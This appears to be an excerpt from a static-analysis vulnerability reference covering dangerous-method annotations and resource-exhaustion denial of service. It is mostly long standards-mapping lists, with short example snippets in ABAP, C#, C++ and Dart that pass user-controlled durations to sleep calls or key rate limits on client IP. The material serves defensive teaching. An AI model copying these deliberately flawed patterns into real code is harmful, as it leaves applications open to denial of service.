[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.2 File Execution Requirements (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A3 Malicious File Execution
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.3
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 5.4 - Authentication and Access Control, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 098
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 829
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Remote File Inclusion (RFI) (WASC-05)
desc.dataflow.php.dangerous_file_inclusion
Abstract
The method has been annotated as dangerous. All uses of this method will be flagged as issues.
Explanation
The annotation FortifyDangerous has been applied to this method. This is used to indicate that it is dangerous and all uses should be examined for safety.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 749
[2] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[3] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.5.1 Validate HTTP Request Header Requirements (L1 L2 L3)
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[10] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[11] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[12] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[13] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 676
desc.structural.java.dangerous_method
Abstract
The variable is of a type which has been annotated as dangerous.
Explanation
The annotation FortifyDangerous has been applied to this type. This is used to indicate that it is dangerous and all uses should be examined for safety.

References
[1] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[2] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[8] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[9] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[10] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
desc.structural.java.dangerous_class_variable
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them thereby creating a resource exhaustion condition.

Example 1: The following code allows a user to specify the amount of time for which the current work process will sleep. By specifying a large number, an attacker may tie up the work process indefinitely.


...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.abap.denial_of_service
Abstract
The application uses the client's remote IP address to create a RateLimitPartition.
Explanation
Creating RateLimitPartitions based on the client's IP addresses leaves the application vulnerable to Denial of Service Attacks that employ IP Source Address Spoofing.

Example 1: In the following example, the GetTokenBucketLimiter() method uses a remote IP address (RemoteIpAddress) as the partition key when creating a RateLimitPartition:


...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {

IPAddress? ip = context.Connection.RemoteIpAddress;

return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
References
[1] By Arvin Kahbazi, Maarten Balliauw, and Rick Anderson Rate limiting middleware in ASP.NET Core Microsoft
[2] P, Ferguson Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing Cisco Systems
[3] Standards Mapping - Common Weakness Enumeration CWE ID 400
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[7] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[10] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[13] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.dotnet.asp_dotnet_core_rate_limitting_denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which the current process will sleep. By specifying a large number, an attacker may tie up the process indefinitely.


unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.cpp.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a thread will sleep. By specifying a large number, an attacker may tie up the thread indefinitely. With a small number of requests, the attacker may deplete the application's thread pool.


Sleep(url.duration);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.cfml.denial_of_service
Abstract
An attacker could cause the program to crash or otherwise become unavailable to legitimate users.
Explanation
Attackers may be able to deny service to legitimate users by flooding the application with requests, but flooding attacks can often be defused at the network layer. More problematic are bugs that allow an attacker to overload the application using a small number of requests. Such bugs allow the attacker to specify the quantity of system resources their requests will consume or the duration for which they will use them.

Example 1: The following code allows a user to specify the amount of time for which a Future function will be executed. By specifying a large number, an attacker may tie up the Future function indefinitely.


final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
